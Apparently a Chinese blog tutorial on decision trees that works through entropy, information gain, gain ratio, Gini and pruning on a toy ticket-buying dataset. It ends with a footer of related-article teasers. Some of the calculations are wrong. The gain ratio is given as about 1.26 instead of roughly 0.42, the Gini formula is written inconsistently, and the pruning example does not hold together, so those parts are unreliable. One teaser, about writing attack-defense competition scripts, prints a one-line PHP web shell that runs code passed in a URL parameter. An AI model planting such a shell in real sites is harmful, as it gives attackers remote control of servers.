机器学习系列-决策树

文章目录

  • 1. 决策树原理
    • 决策树的构建流程
  • 2. 案例
    • 步骤 1:计算当前节点的熵
    • 步骤 2:对每个特征计算分裂后的熵
      • (1) 按“天气”分裂数据集
      • (2) 计算分裂后的加权熵
    • 步骤 3:计算分裂依据
      • 信息增益
      • 信息增益率
      • GINI系数(二叉树)
    • 步骤 4:选择分裂节点
      • 停止条件
      • 继续分裂
      • 示例
    • 步骤 5:剪枝
      • 示例数据集
      • 生成的决策树
      • 1. 预剪枝
      • 2. 后剪枝
      • 剪枝的效果
      • 对比

1. 决策树原理

决策树是一种以树状结构进行决策和分类的监督学习算法,适用于分类回归问题。它通过递归地将数据集分割成更小的子集,最终生成一个类似于树状的模型。

决策树的构建流程

  1. 特征选择:

    • 决策树选择某个特征对数据集进行分割,找到能够最优划分数据的特征。常用的分裂标准包括:
      • 信息增益(ID3算法)
      • 信息增益比(C4.5算法)
      • 基尼指数(CART算法)
  2. 数据分裂:

    • 按照选择的特征,将数据集分割成若干子集。
  3. 递归构建:

    • 对每个子集重复上述步骤,直到满足停止条件(如节点纯度达到某个阈值或节点样本数不足)。
  4. 终止条件:

    • 达到树的最大深度。
    • 节点中的样本数低于最小分割数。
    • 分裂后的增益低于某个阈值。

2. 案例

一个小型分类数据集,目标是预测是否买票:

其它特征天气是否买票
晴天
阴天
雨天
晴天
阴天
雨天

步骤 1:计算当前节点的熵

熵公式:

H ( D ) = − ∑ k = 1 K p k log ⁡ 2 p k H(D)=-\sum_{k=1}^K p_k \log_2 p_k H(D)=k=1Kpklog2pk

  • D 为当前数据集;
  • K为类别数量;
  • pk为类别 k 的概率。

当前数据集中:

  • P(买票)=3 / 6​=0.5;
  • P(不买票)=3 / 6​=0.5。

熵为:

H ( D ) = − ( 0.5 log ⁡ 2 0.5 + 0.5 log ⁡ 2 0.5 ) = − ( 0.5 × − 1 + 0.5 × − 1 ) = 1 H(D) = - (0.5 \log_2 0.5 + 0.5 \log_2 0.5) = - (0.5 \times -1 + 0.5 \times -1) = 1 H(D)=(0.5log20.5+0.5log20.5)=(0.5×1+0.5×1)=1

步骤 2:对每个特征计算分裂后的熵

以特征“天气”为例,取值为“晴天”“阴天”“雨天”。根据此特征分裂数据集:

(1) 按“天气”分裂数据集

分裂结果为:

  • “晴天”:{否, 是}
  • “阴天”:{是, 是}
  • “雨天”:{否, 否}

分别计算每个子集的条件熵:

  • 晴天:
    H ( 晴天 ) = − ( 0.5 log ⁡ 2 0.5 + 0.5 log ⁡ 2 0.5 ) = 1 H(\text{晴天}) = - (0.5 \log_2 0.5 + 0.5 \log_2 0.5) = 1 H(晴天)=(0.5log20.5+0.5log20.5)=1
  • 阴天:
    H ( 阴天 ) = − ( 1 log ⁡ 2 1 + 0 log ⁡ 2 0 ) = 0 H(\text{阴天}) = - (1 \log_2 1 + 0 \log_2 0) = 0 H(阴天)=(1log21+0log20)=0
  • 雨天:
    H ( 雨天 ) = − ( 0 log ⁡ 2 0 + 1 log ⁡ 2 1 ) = 0 H(\text{雨天}) = - (0 \log_2 0 + 1 \log_2 1) = 0 H(雨天)=(0log20+1log21)=0

(2) 计算分裂后的加权熵

加权熵公式:

H split ( D ) = ∑ v = 1 V ∣ D v ∣ ∣ D ∣ H ( D v ) H_\text{split}(D) = \sum_{v=1}^V \frac{|D_v|}{|D|} H(D_v) Hsplit(D)=v=1VDDvH(Dv)

  • |D_v| 为分裂后子集的大小;
  • H(D_v) 为子集的熵。

加权熵:

H s p l i t ​ ( D ) = 2 6 H ( 晴天 ) + 2 6 H ( 阴天 ) + 2 6 H ( 雨天 ) = 2 6 × 1 + 2 6 × 0 + 2 6 × 0 = 2 6 = 0.333 Hsplit​(D)=\frac{2}{6}H(晴天)+\frac{2}{6}H(阴天)+\frac{2}{6}H(雨天) = \frac{2}{6} \times 1 + \frac{2}{6} \times 0 + \frac{2}{6} \times 0 = \frac{2}{6} = 0.333 Hsplit(D)=62H(晴天)+62H(阴天)+62H(雨天)=62×1+62×0+62×0=62=0.333

步骤 3:计算分裂依据

信息增益

计算以天气作为节点进行分裂的信息增益:

信息增益 ( 节点 = 天气 ) = H ( D ) − H split ( D ) = 1 − 0.333 = 0.667 \text{信息增益}(节点=天气) = H(D) - H_\text{split}(D) = 1 - 0.333 = 0.667 信息增益(节点=天气)=H(D)Hsplit(D)=10.333=0.667

信息增益率

计算以天气作为节点进行分裂的信息增益率:

定义固有值(Split Information)固有值是衡量分裂结果的复杂性,计算公式为:

固有值 (SplitInfo) = − ∑ v = 1 V ∣ D v ∣ ∣ D ∣ log ⁡ 2 ∣ D v ∣ ∣ D ∣ ​ \text{固有值 (SplitInfo)} = -\sum_{v=1}^V \frac{|D_v|}{|D|} \log_2 \frac{|D_v|}{|D|}​ 固有值 (SplitInfo)=v=1VDDvlog2DDv

  • |D_v|:特征值 v 的样本数量;
  • |D|:总样本数量;
  • V:特征取值的数量。

信息增益率 ( G a i n R a t i o ) = 信息增益 ( G a i n ) 固有值 ( S p l i t I n f o ) = 0.667 − ( 2 6 × l o g 2 2 6 + 2 6 × l o g 2 2 6 + 2 6 × l o g 2 2 6 ) ≈ 1.26 信息增益率 (Gain Ratio)=\frac{信息增益 (Gain)}{固有值 (SplitInfo)}= \frac{0.667} {- (\frac{2}{6} \times log_2 \frac{2}{6} + \frac{2}{6} \times log_2 \frac{2}{6} + \frac{2}{6} \times log_2 \frac{2}{6})} ≈ 1.26 信息增益率(GainRatio)=固有值(SplitInfo)信息增益(Gain)=(62×log262+62×log262+62×log262)0.6671.26

GINI系数(二叉树)

计算以天气作为节点进行分裂的GINI系数:
节点的 Gini 系数:

G ( D ) = ∑ k = 1 K p k ( 1 − p k ) = ( 0. 5 2 + 0. 5 2 ) = 0.5 G(D) = \sum_{k=1}^K p_k(1-p_k) = (0.5^2+0.5^2)=0.5 G(D)=k=1Kpk(1pk)=(0.52+0.52)=0.5

  • K:类别数量;
  • p_k​:类别 k 的样本比例。

分裂后的加权 Gini 系数:

G ( 晴天 ) = 0. 5 2 + 0. 5 2 = 0.5 G(晴天)=0.5^2+0.5^2=0.5 G(晴天)=0.52+0.52=0.5
G ( 阴天 ) = 1 × 0 + 0 × 1 = 0 G(阴天)=1 \times 0 +0 \times 1=0 G(阴天)=1×0+0×1=0
G ( 雨天 ) = 0 × 1 + 1 × 0 = 0 G(雨天)=0 \times 1+1 \times 0=0 G(雨天)=0×1+1×0=0
G split ( D ) = ∑ v = 1 V ∣ D v ∣ ∣ D ∣ G ( D v ) = 2 6 × 0.5 + 2 6 × 0 + 2 6 × 0 ≈ 0.167 G_\text{split}(D) = \sum_{v=1}^V \frac{|D_v|}{|D|} G(D_v) = \frac{2}{6} \times 0.5 + \frac{2}{6} \times 0 + \frac{2}{6} \times 0 ≈ 0.167 Gsplit(D)=v=1VDDvG(Dv)=62×0.5+62×0+62×00.167

  • V:特征的取值数量;
  • |D_v|:分裂后每个子集的样本数量;
  • G(D_v):子集的 Gini 系数。

GINI系数 ( 节点 = 天气 ) = G ( D ) − G split ( D ) = 0.5 − 0.167 = 0.333 \text{GINI系数}(节点=天气) = G(D) - G_\text{split}(D) = 0.5 - 0.167 = 0.333 GINI系数(节点=天气)=G(D)Gsplit(D)=0.50.167=0.333

步骤 4:选择分裂节点

选择分裂评估指标中值最高的特征作为节点进行分裂

以天气特征为例,会从根节点分裂出三个子节点:A1( D 晴天 D_\text{晴天} D晴天)​、A2( D 阴天 D_\text{阴天} D阴天)​、A3( D 雨天 D_\text{雨天} D雨天)​

对子节点 A1​、A2​、A3​​ 逐一检查是否需要继续分裂:

停止条件

  1. 数据集中所有样本的类别相同

    • 如果 D 节点 D_\text{节点} D节点​ 中的样本全为“是”或“否”,则该节点不再分裂,设为叶节点,标记类别。
    • 如:节点 A2 的数据集中样本全为“是”,直接将其标记为“是”。
  2. 没有可用的分裂特征

    • 如果所有候选特征都已用完,则取数据集中的多数类作为叶节点类别。
  3. 数据集为空

    • 如果子节点对应的数据集为空(如:某特征值下没有样本),则设置该节点为叶节点,类别标记为父节点中样本的多数类。

继续分裂

  • 如果未满足上述停止条件,则递归对子节点执行相同的分裂过程。

示例

  1. 初始数据按“天气”分裂,生成子节点 A1(晴天)、A2(阴天)、A3(雨天)。
  2. 检查子节点:
    • D 晴天 D_\text{晴天} D晴天​:包含两类,继续分裂;
    • D 阴天 D_\text{阴天} D阴天​:全为“是”,设为叶节点;
    • D 雨天 ​ D_\text{雨天}​ D雨天:全为“否”,设为叶节点。
  3. D 晴天 D_\text{晴天} D晴天​​ 再选特征继续分裂。

通过递归,最终生成完整的决策树。

步骤 5:剪枝

剪枝是减少决策树复杂度、提升泛化能力的重要方法。剪枝分为 预剪枝(Pre-pruning)后剪枝(Post-pruning)。以下是剪枝的一个具体示例:

示例数据集

天气温度是否刮风湿度是否买票
晴天
晴天
阴天
阴天
雨天
雨天

生成的决策树

初始决策树为:

在这里插入图片描述

1. 预剪枝

预剪枝的思想:在分裂节点前,提前评估分裂是否有意义。如果分裂不能显著提高决策树性能,则阻止分裂。

过程

  1. 节点 1:是否刮风?

    • 在当前节点分裂前,计算 信息增益Gini 系数减少量
    • 如果分裂的增益不足(例如小于设定阈值 0.1),则阻止分裂,直接将当前节点作为叶节点。
  2. 假设分裂后的性能提升不明显:

    • 不再继续分裂。
    • 节点 1 直接成为叶节点,类别标记为“否”(因数据集中“否”的样本更多)。

结果树

节点1:叶子节点 -> 否


2. 后剪枝

后剪枝的思想:先生成完整决策树,再通过后序遍历判断是否需要剪掉子树,用叶节点代替。

过程

  1. 从叶节点往上回溯,逐个评估子树是否需要剪枝。

  2. 节点 2:天气?

    • 子树分类结果:
      • 晴天 -> 否
      • 雨天 -> 否
    • 两个叶子节点的类别相同,且整棵子树的分类错误率与将节点 2 直接作为叶节点的错误率相同。
    • 剪枝策略:将节点 2 直接替换为叶节点“否”。
  3. 节点 3:湿度?

    • 子树分类结果:
      • 高 -> 是
      • 中 -> 是
    • 两个叶子节点的类别相同,且整棵子树的分类错误率与将节点 3 直接作为叶节点的错误率相同。
    • 剪枝策略:将节点 3 直接替换为叶节点“是”。

**结果树

节点1:是否刮风? ├── 是 -> 叶子1:否 └── 否 -> 叶子2:是


剪枝的效果

  1. 模型简化:剪枝后,树结构更简单,更易于理解。
  2. 泛化能力提升:剪枝减少了对训练集的过拟合,提升了模型在测试集上的性能。

对比

  • 原始树错误率:假设在测试集上的错误率为 15%。
  • 剪枝后错误率:测试集错误率下降到 10%,显示模型的泛化性能提升。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61640.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

resnet50,clip,Faiss+Flask简易图文搜索服务

一、实现 文件夹目录结构&#xff1a; templates -----upload.html faiss_app.py 前端代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widt…

爬虫重定向问题解决

一&#xff0c;问题 做爬虫时会遇到强制重定向的链接&#xff0c;此时可以手动获取重定向后的链接 如下图情况 第二个链接是目标要抓取的&#xff0c;但它是第一个链接重定向过去的&#xff0c;第一个链接接口状态也是302 二&#xff0c;解决方法 请求第一个链接&#xff0c…

一个小的可编辑表格问题引起的思考

11.21工作中遇到的问题 预期&#xff1a;当每行获取红包金额的时候若出现错误&#xff0c;右侧当行会出现提示 结果&#xff1a;获取红包金额出现错误&#xff0c;右侧对应行并没有出现错误提示 我发现&#xff0c;当我们设置readonly的时候&#xff0c;其实render函数依旧是…

高效集成:金蝶盘亏单数据对接管易云

金蝶盘亏单数据集成到管易云的技术实现 在企业日常运营中&#xff0c;数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例&#xff1a;如何将金蝶云星空中的盘亏单数据无缝集成到管易云的其他出库模块。 为了实现这一目标&#xff0…

神经网络问题之一:梯度消失(Vanishing Gradient)

梯度消失&#xff08;Vanishing Gradient&#xff09;问题是深度神经网络训练中的一个关键问题&#xff0c;它主要发生在反向传播过程中&#xff0c;导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞&#xff0c;严重影响网络的训练效果和性能。 图1 在深度神经网络中容易出现…

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法&#xff0c;适用于多输入多输出&#xff08;MIMO&#xff09;系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整&#xff0c;同时通过解耦策略减少变量之间的相互影响&#xff0c;提高控制…

数据库类型介绍

1. 关系型数据库&#xff08;Relational Database, RDBMS&#xff09;&#xff1a; • 定义&#xff1a;基于关系模型&#xff08;即表格&#xff09;存储数据&#xff0c;数据之间通过外键等关系相互关联。 • 特点&#xff1a;支持复杂的SQL查询&#xff0c;数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp&#xff08;网络时间协议时间戳&#xff09;&#xff1a;这是一个64位的时间戳&#xff0c;记录着发送SR的NTP时间戳&#xff0c;用于同步不同源之间的时间。RTP Timestamp&#xff1…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下安装软件包的方式 认识yum 查找软件包 安装软件 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 批量化注释 vim的简单配置 Linux编译器 - gcc/g gcc/g的作用 gcc/g语…

IDEA如何设置编码格式,字符编码,全局编码和项目编码格式

前言 大家好&#xff0c;我是小徐啊。我们在开发Java项目&#xff08;Springboot&#xff09;的时候&#xff0c;一般都是会设置好对应的编码格式的。如果设置的不恰当&#xff0c;容易造成乱码的问题&#xff0c;这是要避免的。今天&#xff0c;小徐就来介绍下我们如何在IDEA…

【Redis】实现点赞功能

一、实现笔记点赞 使用redis实现点赞功能&#xff0c;对于一个笔记来说&#xff0c;不同用户只能是点赞和没点赞&#xff0c;点赞过的笔记再点击就应该取消点赞&#xff0c;所以实际上根据需求&#xff0c;我们只需要将点赞的数据存到对应的笔记里&#xff0c;查看对应的笔记相…

InstantStyle容器构建指南

一、介绍 InstantStyle 是一个由小红书的 InstantX 团队开发并推出的图像风格迁移框架&#xff0c;它专注于解决图像生成中的风格化问题&#xff0c;旨在生成与参考图像风格一致的图像。以下是关于 InstantStyle 的详细介绍&#xff1a; 1.技术特点 风格与内容的有效分离 &a…

Redisson学习教程(B站诸葛)

弱智级别 package org.example.controller;public class IndexController {Autowiredprivate Redisson redisson;Autowiredprivate StringRedisTemplate stringRedisTemplate;RequestMapping("/deduct_storck")public String deductStock() {String lockKey "…

蓝桥杯每日真题 - 第19天

题目&#xff1a;&#xff08;费用报销&#xff09; 题目描述&#xff08;13届 C&C B组F题&#xff09; 解题思路&#xff1a; 1. 问题抽象 本问题可以看作一个限制条件较多的优化问题&#xff0c;核心是如何在金额和时间约束下选择最优方案&#xff1a; 动态规划是理想…

科研实验室的数字化转型:Spring Boot系统

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理实验室管理系统的相关信息成为必然。开发合…

【Redis】持久化机制RDB与AOF

一、RDB RDB模式是就是将内存中的数据存储到磁盘中&#xff0c;等到连接断开的时候会进行持久化操作。但是如果服务器宕机&#xff0c;会导致这个持久化机制不会执行&#xff0c;但是内存中的文件会直接丢失。所以可以设置一个触发机制&#xff0c;save 60 1000 就是代表60秒 执…

Excel——宏教程(精简版)

一、宏的简介 1、什么是宏&#xff1f; Excel宏是一种自动化工具&#xff0c;它允许用户录制一系列操作并将其转换为VBA(Visual Basic for Applications)代码。这样&#xff0c;用户可以在需要时执行这些操作&#xff0c;以自动化Excel任务。 2、宏的优点 我们可以利用宏来…

【MyBatisPlus·最新教程】包含多个改造案例,常用注解、条件构造器、代码生成、静态工具、类型处理器、分页插件、自动填充字段

文章目录 一、MyBatis-Plus简介二、快速入门1、环境准备2、将mybatis项目改造成mybatis-plus项目&#xff08;1&#xff09;引入MybatisPlus依赖&#xff0c;代替MyBatis依赖&#xff08;2&#xff09;配置Mapper包扫描路径&#xff08;3&#xff09;定义Mapper接口并继承BaseM…

【spring】spring单例模式与锁对象作用域的分析

前言&#xff1a;spring默认是单例模式&#xff0c;这句话大家应该都不陌生&#xff1b;因为绝大多数都是使用单例模式&#xff0c;避免了某些问题&#xff0c;可能导致对某些场景缺乏思考。本文通过结合lock锁将单例模式、静态变量、锁对象等知识点串联起来。 文章目录 synchr…